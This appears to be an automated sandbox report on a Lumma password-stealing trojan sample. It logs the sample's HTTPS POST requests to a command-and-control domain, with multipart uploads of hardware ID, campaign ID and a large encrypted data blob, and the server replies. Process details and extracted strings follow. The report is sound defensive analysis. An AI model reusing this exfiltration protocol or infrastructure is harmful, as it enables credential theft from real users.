Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:05 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20562 Host: goalyfeastz.site
2024-10-30 19:19:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"828CF50C6B8EF1869407B331AA84AE48--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-30 19:19:05 UTC	5231	OUT	Data Raw: 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-10-30 19:19:06 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1461mfqc118oq2a5ipocu18qi2; expires=Sun, 23-Feb-2025 13:05:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CelWDTnR61YnpXOYDWmzTKdkKWohVcjOxB81T8sxoOZj%2B4RZOvcfxaO%2Fc74ajgE4epNwvkmJCH3f81Tgr9MTvmhy2GEw6ggw%2BoReuULmK%2BF1GqdP44NAQUphcf%2FJfG0t50W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc1452ebeeabd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1242&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21524&delivery_rate=2236293&cwnd=250&unsent_bytes=0&cid=bc48334d65529155&ts=703&x=0"
2024-10-30 19:19:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 19:19:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:07 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: goalyfeastz.site
2024-10-30 19:19:07 UTC	1266	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"828CF50C6B8EF1869407B331AA84AE48--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-30 19:19:08 UTC	1007	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7h7j3mhun8n34t00nv9hofbdsq; expires=Sun, 23-Feb-2025 13:05:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=09eEdEQh%2BRGiIyIWbBcCO82aRKufbbFVHrj3vu93VHd393vu%2BNLts3jGtX2Bo77BzrHdWOYTdiau9AyX3i%2F6e4ezbF8AMg6YYGF1EZWz9tilSefJqvbDPbPa3nXBHx81kyvD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc14f9d61e99b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2183&delivery_rate=1868387&cwnd=57&unsent_bytes=0&cid=5400afbce1e145da&ts=720&x=0"
2024-10-30 19:19:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 19:19:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551704 Host: goalyfeastz.site
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"828CF50C6B8EF1869407B331AA84AE48--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 2b b7 fd ce 21 24 35 8a 82 98 83 db 56 41 5e 1f a5 81 a4 d7 5a a6 d6 2a e9 dc 23 af 61 71 57 15 1c ea ec 56 57 1d dc 31 27 e2 ce d1 79 90 05 eb 98 d9 d1 ae 2e e2 24 83 d2 2b 2d 1f eb db 2f 1a c7 bb 61 a6 d5 7a e1 29 8e f6 a2 6c 2c ac bd 6c 9a 53 b0 27 e1 ad 9c 2b 7b 6a 56 bf 42 62 a6 48 66 cd 8f 1e 91 31 bf 70 51 04 c7 a3 73 f3 3c 08 06 a1 c2 e0 5a 6b 7d 46 4e 33 ba fd 39 fc 5b 70 ec 00 78 e3 c0 47 9b b7 09 0c bc 23 bc d8 e1 45 c1 c2 8f f8 70 1a c8 30 8e 65 a5 0e 9c b3 12 18 bc 29 6b c7 21 8e dd bc 23 a1 92 04 73 92 3b 0f 97 3b eb 29 0d 47 36 e1 1e 19 fc c9 a0 38 14 e6 5f 08 d1 65 a4 22 e0 c0 30 aa 7c cc f5 38 48 df 50 7f b0 de f7 9f 3a aa d8 f6 9e fe 51 6e b2 36 98 22 ee c6 5c 12 21 9d 3a 71 9f d5 22 07 c2 b8 54 5e b2 bd 17 da c1 f2 d1 b5 1f 57 e1 38 2c Data Ascii: +!$5VA^Z*#aqWVW1'y.$+-/az)l,lS'+{jVBbHf1pQs<Zk}FN39[pxG#Ep0e)k!#s;;)G68_e"0\|8HP:Qn6"\!:q"T^W8,
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 93 7f 20 21 b7 55 7d 73 fa 0c b9 bf 46 8d cb 20 5f ac a8 4b 49 f3 cb 87 d9 d0 66 dd 24 76 04 eb 5f 43 5d 6c d0 61 52 06 3d f6 c6 96 46 0f f5 d4 f8 3a ba 31 cd bf a5 99 71 d1 3e 45 1b e3 59 99 04 99 e0 4d ba 52 9f 51 c7 60 8a f8 76 47 a7 4d f3 ba 5d 55 c4 b3 50 95 91 cc 66 fd 67 7e 44 62 8c b6 c7 15 61 d9 71 9d 62 91 79 ee 3c b6 a8 86 b0 8a 08 da e7 1a c6 90 62 9c 5a bf 3f 27 3c 92 30 73 83 89 e7 5b 2c 43 19 62 03 b6 ac 31 b1 8f d0 0e fc 78 c6 81 2c 85 17 33 c6 2a 22 a1 81 85 50 77 33 b1 3d 32 c7 f0 a4 c4 86 d2 3d 19 14 b2 b6 a3 bb bf 78 ef 25 85 f9 bb 6e f3 af 1d 1e cf 3c 54 f9 78 bd e7 57 b7 32 b3 8a 27 21 e0 f7 94 6b fb 9a cd b3 00 22 aa f7 39 d5 83 eb c6 c7 ad a7 13 96 53 3f 76 74 df b2 bc 8a ae 60 4c 2c de 9c 88 61 2f 06 47 33 6a 23 84 8b 5e 4a ef bc Data Ascii: !U}sF _KIf$v_C]laR=F:1q>EYMRQ`vGM]UPfg~Dbaqby<bZ?'<0s[,Cb1x,3*"Pw3=2=x%n<TxW2'!k"9S?vt`L,a/G3j#^J
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 74 bb fc e7 23 e1 38 58 2a e3 85 5d 62 8b 82 be e2 41 f1 7f 7f 6d 17 aa a3 e2 d2 39 69 67 40 66 31 f3 60 49 dc e0 be d7 56 8c 06 83 62 cb 3a 94 b1 3f 54 b3 73 3f 8d 91 0a b9 c6 6c 23 c6 51 5d ce 1e 03 f8 a1 0b d4 ac eb 64 33 2e e3 88 57 16 f6 a1 d3 eb f2 f8 73 fb 46 16 0f b7 4b 44 86 dc 2a ce 98 3f b3 8f 44 30 be 53 f7 8f bb 54 f8 37 b0 f8 e9 f6 d4 6c 65 a1 42 5b cf e7 72 f9 cf cc d0 25 c6 50 3b 67 d3 86 6b 2f 6e c0 b7 24 af 85 22 b5 10 61 7e 63 c1 37 42 61 e6 9d 7a 47 4a 4e 15 af 2f 5d 3f 10 ad cf 05 ae 37 49 09 39 2b 35 bd d7 cb b4 0e ba 4d bd 95 ef 44 a7 1f 59 a5 97 75 1f fc 58 e1 4d 73 e6 01 f7 d5 e7 49 b3 dd 13 23 8a e6 c6 57 7a 3c 04 0d bf 4c 89 c1 7a 37 87 65 99 dc 53 2d 8f fe a9 3a c2 d0 e9 18 fe bb d4 bd 1a ea 26 b9 24 39 0e 9d b5 41 0b be f6 4e Data Ascii: t#8X]bAm9ig@f1`IVb:?Ts?l#Q]d3.WsFKD?D0ST7leB[r%P;gk/n$"a~c7BazGJN/]?7I9+5MDYuXMsI#Wz<Lz7eS-:&$9AN
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 29 49 08 36 72 a5 82 d0 1e 37 9f c6 f6 55 7a d6 2e be 6e ab d3 83 b4 d7 1e 05 3d 79 65 73 da 1e 7c 44 a4 59 61 ef 88 6f 14 29 d5 76 39 37 ee 3f f4 e2 52 1b 32 aa 0c 11 8c 1e 66 c4 c5 da 8f d2 d7 de f4 e3 cd 44 21 b2 25 fb 57 35 26 56 99 77 c0 3e b9 86 e7 8c 48 fc 73 57 fc a4 dc 93 3d cf 3c c8 da 8a 30 d7 69 93 8d a0 a9 37 a7 02 72 43 87 e7 f1 0b f9 ba 9d 8f ca aa 65 e8 1c 91 b9 15 cc 60 1c 98 fb 5d 82 cd ea 4a 37 db d9 86 d2 31 e3 78 eb ba b1 7d d6 b6 10 c5 d2 0d 6f c2 bb bb ac 37 dc 1b 33 cf c3 3f a2 ec 6c 20 e4 5a 23 3c 1b 2d f0 40 c2 f1 e6 35 a5 7e a9 6e 9e a0 84 b3 66 41 db 95 99 f5 3c 7f db 0b 7d 7e f1 ee 97 b4 fe b7 31 13 78 17 8f 50 44 18 33 10 af 66 e5 1a b3 d1 d8 b9 0a f6 26 c2 3d 0a 92 92 e7 78 60 fd bc 13 93 f4 b5 09 df 6b af bd af 23 14 98 b5 Data Ascii: )I6r7Uz.n=yes\|DYao)v97?R2fD!%W5&Vw>HsW=<0i7rCe`]J71x}o73?l Z#<-@5~nfA<}~1xPD3f&=x`k#
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 62 e7 c6 5a 46 83 a0 fd cf 04 88 65 d0 ed 3c 35 a7 84 a9 f7 56 2a 1c c0 f5 98 0c 01 40 4c 52 a8 a9 54 a4 1f c7 9f be c0 5a a9 d3 77 ba 8e 25 5d 66 c9 4c d0 af 56 e3 48 d2 fd b0 8f 30 92 c7 7f 99 27 a7 61 b3 91 e8 69 93 bf f3 5d 90 c5 c4 0a ff 78 1b 0f 1e 21 38 fc 02 c2 df 82 7f 9f 71 9f c0 2c df 3e 4e 76 c8 79 21 02 e7 66 ff 4a ce 35 8c 0e 29 f8 c3 97 c0 61 3a 4c 27 22 70 97 c0 94 3c b9 32 43 c0 73 32 3d bf e6 a1 f4 d3 be 37 18 90 75 ed 47 f0 63 15 ba c0 eb b5 16 07 f8 79 cf b8 e6 24 79 81 89 c6 37 15 b1 4f 70 79 2b a3 06 76 01 49 2b 8c 68 fb a4 0a ab 66 e5 1f 4e 30 c5 0a ba 73 f9 16 bb 86 ed 8d 64 ae d4 6d 6f e8 84 c4 a2 73 1d 2c 73 9c 9b 41 77 e0 b6 99 00 e9 81 fa 71 50 c6 2c 58 6c bc b1 7d 85 03 74 cc 98 01 da 74 88 d4 a9 e0 ef 0d 48 05 b3 3f 36 f1 35 Data Ascii: bZFe<5V*@LRTZw%]fLVH0'ai]x!8q,>Nvy!fJ5)a:L'"p<2Cs2=7uGcy$y7Opy+vI+hfN0sdmos,sAwqP,Xl}ttH?65
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 81 2d b5 f9 a0 27 50 d2 e8 10 65 73 a2 e6 f0 5b d0 2a 19 b9 20 0f 65 97 41 5e 2b 1f 47 c4 67 68 a6 74 a6 6d ab 94 86 f2 b3 6d ad 86 7c 48 8e 68 ab 3a 38 63 95 85 8c 33 9a e6 09 70 2c e6 aa a6 c1 7e b8 f5 10 da da 5c 7a 5b 67 27 51 0f d1 a7 2b 2b 50 46 c7 57 5b 59 b9 b4 a5 53 6d c4 a3 3b dd f1 5d 22 6b c9 7a 9c ab 8b 56 6a 60 f1 1d 8d 1c 03 87 08 25 6c 31 e0 cc fa 43 fd 87 93 15 e2 3c f8 2e c4 31 6b a6 ef 63 0b 8f 26 6d fe 5e 1b 6b 5e 5f 93 1b e7 ba 6e e0 1f 72 2e fc 64 f5 d2 9b d9 21 23 d5 b7 e0 e4 56 e4 c7 df 69 9f 57 1e e0 67 69 d4 5d 05 d7 4f f1 8c 14 06 44 4c 7d 35 8c 21 a1 f4 fd f2 a0 ff 59 75 e7 90 ec 6d 3b 56 bf 61 cc 56 3d dc 95 9c e9 7b 27 3c 76 18 a5 7e fc d9 78 cb 3e 10 73 c8 e2 7e d3 d3 91 67 47 62 dd 55 bc a5 f8 04 03 07 3f 71 08 67 2f 5d af Data Ascii: -'Pes[* eA^+Gghtmm\|Hh:8c3p,~\z[g'Q++PFW[YSm;]"kzVj`%l1C<.1kc&m^k^_nr.d!#ViWgi]ODL}5!Yum;VaV={'<v~x>s~gGbU?qg/]
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 33 45 32 5e b5 00 1f 87 ef 35 ae ae 27 e3 06 e1 01 1c b0 e0 df b2 ec 38 2f 0e 86 f3 3f 2b 71 8e 8d ff 4e e7 5f 63 9e 63 66 2c 7a d0 0c 69 e6 e9 3f cc 3d b0 5c c1 6e 11 c2 d2 dd 86 2c 0a 55 7b d0 76 b1 45 e3 cd 4e c4 84 c3 c0 bc c0 13 56 48 34 73 e6 99 8b 37 64 e6 d8 f9 7d bf c7 75 de f2 bc a0 bf 3b e6 9a ae 1e c6 e4 17 c4 40 a4 24 04 2a 89 ce 09 81 ce c7 d5 b2 1d 8a 92 c1 22 d8 3e 88 36 47 71 3d 55 6a ed 72 07 86 18 3d e0 f9 de 51 62 f7 9e ef 03 31 9f 8c b1 3a d8 8b 8e a9 ba 88 bd fa c9 3e 75 a9 0a 09 7c c3 0b 8a d5 61 5f df 9e bb 8f be 58 6b 24 87 2d 46 b8 67 e2 6e 1f b4 f8 ee 7f f1 1e 2e db 39 90 f5 87 71 32 87 0a 02 63 49 7b ff 3d 96 b8 0d e8 49 3c 50 0b ec e7 2b 06 5e 4e 6f 14 c0 8c 2c 6c 8c 50 10 fc bb 18 79 fc 8b 26 ed c4 3f 84 6f 34 17 6d 51 c6 62 Data Ascii: 3E2^5'8/?+qN_ccf,zi?=\n,U{vENVH4s7d}u;@$*">6Gq=Ujr=Qb1:>u\|a_Xk$-Fgn.9q2cI{=I<P+^No,lPy&?o4mQb
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 6b ff 36 21 d2 e5 87 56 51 29 fa 97 f8 32 84 d3 5e e3 ef ce 74 2a 52 60 69 b4 44 f8 25 4e 62 35 ea fd 36 2c b7 96 11 99 9c 85 88 fc ce 39 c3 39 5d 63 89 21 eb e6 c1 b1 8a 82 6f 8a 79 87 ad 6f 49 f6 86 0e 18 9e cf 2f 86 5c a5 6b 23 8c c5 04 2b 35 af 34 29 4f 23 1c 7d 3e 0b 54 58 d2 83 4d 63 eb 52 5c 75 11 71 96 d0 b5 82 89 43 d9 0f 62 da a4 12 23 22 6d ab e3 23 62 f6 52 98 ae c4 8a 4d 89 73 5e b0 35 4c f1 0b 19 7c f4 ab b2 02 2d ab 26 bd 79 42 cd 23 21 9c 8c bc de 69 db a6 c0 1e 9c f1 1e 64 f3 2b 2d a2 37 7c 5a 1b c2 af 0e 06 ce 3c aa 35 ec 14 21 d3 a2 08 9d b4 a4 e0 ae ba 30 ae 2e fb d6 54 e8 af cb 62 e0 03 4d 63 19 62 95 a2 e1 de 8a 67 ef 33 9c de f4 7f f8 9f 85 6f 61 f5 b7 4d c8 01 a4 6c af 03 66 3a 60 e7 b7 53 68 46 72 8b 64 be 6e ef c4 44 22 46 73 f3 Data Ascii: k6!VQ)2^t*R`iD%Nb56,99]c!oyoI/\k#+54)O#}>TXMcR\uqCb#"m#bRMs^5L\|-&yB#!id+-7\|Z<5!0.TbMcbg3oaMlf:`ShFrdnD"Fs
2024-10-30 19:19:09 UTC	15331	OUT	Data Raw: 2f 0c 78 89 08 94 d8 d5 ed df 14 f3 22 2e 48 6e de f8 29 18 7d e8 9d 1f de 72 aa 20 e6 86 a3 47 54 5c a4 0e 62 c8 9c a2 8c 7c 6e 66 90 af 7e 02 47 28 a1 5f 4e ba 24 fd 6e 03 9e fe fb 76 b6 52 df e5 15 d3 cf 51 3b 15 7d ae 09 f9 b4 29 0a e2 16 d5 af c4 80 38 54 34 ea 36 2a 11 15 e9 b7 61 33 ea b4 bb 82 f3 a7 f8 ee 1d 17 c6 24 86 3d 7d c1 84 0e e5 22 ef cc d6 44 f6 af 2f ff 12 d0 71 71 09 21 f8 e1 97 0b a8 39 c9 81 86 60 74 f6 c1 b3 fc ee c7 78 34 7c 39 49 af e6 8b 5a e7 5e 56 42 a9 67 f3 fa af e0 90 99 11 42 d2 ad aa 8a b3 9a 9f c4 90 25 3a 28 e0 e0 53 2d b7 fa e2 97 43 3f 7c bf bf e0 56 30 42 57 47 7c b0 77 b2 de 65 3e 87 64 20 13 f9 71 e6 a4 51 05 e7 50 d0 00 d1 de 6a 56 b2 75 49 1c 0c 16 ff be 3a 76 78 81 3a 13 2c f8 af dc 50 f0 24 98 be 3e 93 be f6 30 Data Ascii: /x".Hn)}r GT\b\|nf~G(_N$nvRQ;})8T46*a3$=}"D/qq!9`tx4\|9IZ^VBgB%:(S-C?\|V0BWG\|we>d qQPjVuI:vx:,P$>0
2024-10-30 19:19:10 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kv2ldtito7lhhcima2gjrf1bd6; expires=Sun, 23-Feb-2025 13:05:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yW60AT0S7EwoD7l9%2FdEfNDXMAxj%2BO%2FDvOUtgYV9r4mRsfsZLgsvz5g9LCmpGfkY304RmBrg0IrrguxP3PamiCYMhpqiGoHIvzNh3iTARF6Zvpk3lwIbz%2B7Z1UUlMp81Zlt4b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc15a8bb72c87-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=205&recv=586&lost=0&retrans=0&sent_bytes=2841&recv_bytes=554185&delivery_rate=2441821&cwnd=228&unsent_bytes=0&cid=6697e9ac001ad16d&ts=1787&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	104.21.33.140	443	4524	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:19:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: goalyfeastz.site
2024-10-30 19:19:11 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 67 33 39 32 73 4d 2d 2d 26 6a 3d 26 68 77 69 64 3d 38 32 38 43 46 35 30 43 36 42 38 45 46 31 38 36 39 34 30 37 42 33 33 31 41 41 38 34 41 45 34 38 Data Ascii: act=get_message&ver=4.0&lid=g392sM--&j=&hwid=828CF50C6B8EF1869407B331AA84AE48
2024-10-30 19:19:12 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l9o79tqrsmpu3on2t1r097qaof; expires=Sun, 23-Feb-2025 13:05:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4z6jVvEBww%2Fgb6hH%2FPlRYBhrPfMsxJ4dW3D4XPd4I%2F00mBJqtHKWjFgugnrLlnr0Zv4CCPTRa%2BcW7jeGK2fEIEovX8MNfXt2YDbJy%2BeHf2cJWSnYEqUB7KP6YIVHmlhlTzd%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dadc169f85c675f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17856&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=977&delivery_rate=162596&cwnd=32&unsent_bytes=0&cid=d9ad40a66e29a6b7&ts=417&x=0"
2024-10-30 19:19:12 UTC	54	IN	Data Raw: 33 30 0d 0a 32 48 64 70 69 30 31 38 49 6b 66 37 36 35 61 50 63 4f 68 35 57 57 4b 59 61 57 56 77 64 6f 30 68 41 71 64 69 71 4a 43 4d 73 63 61 44 4b 67 3d 3d 0d 0a Data Ascii: 302Hdpi018Ikf765aPcOh5WWKYaWVwdo0hAqdiqJCMscaDKg==
2024-10-30 19:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:18:58
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe"
Imagebase:	0x3d0000
File size:	1'290'240 bytes
MD5 hash:	21EB0B29554B832D677CEA9E8A59B999
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.9%
Total number of Nodes:	159
Total number of Limit Nodes:	10

Executed Functions

Function 003E0130 Relevance: 38.6, APIs: 2, Strings: 19, Instructions: 1884COMMON

Download Yara Rule

Strings

J!G', xrefs: 003E0330
xr, xrefs: 003E1273
F], xrefs: 003E0AE0
;:54, xrefs: 003E1805
f[zU, xrefs: 003E15EA
V[, xrefs: 003E0AE7
K=C#, xrefs: 003E0325
828CF50C6B8EF1869407B331AA84AE48, xrefs: 003E093E
;:54, xrefs: 003E175C
#Tw, xrefs: 003E0E4F
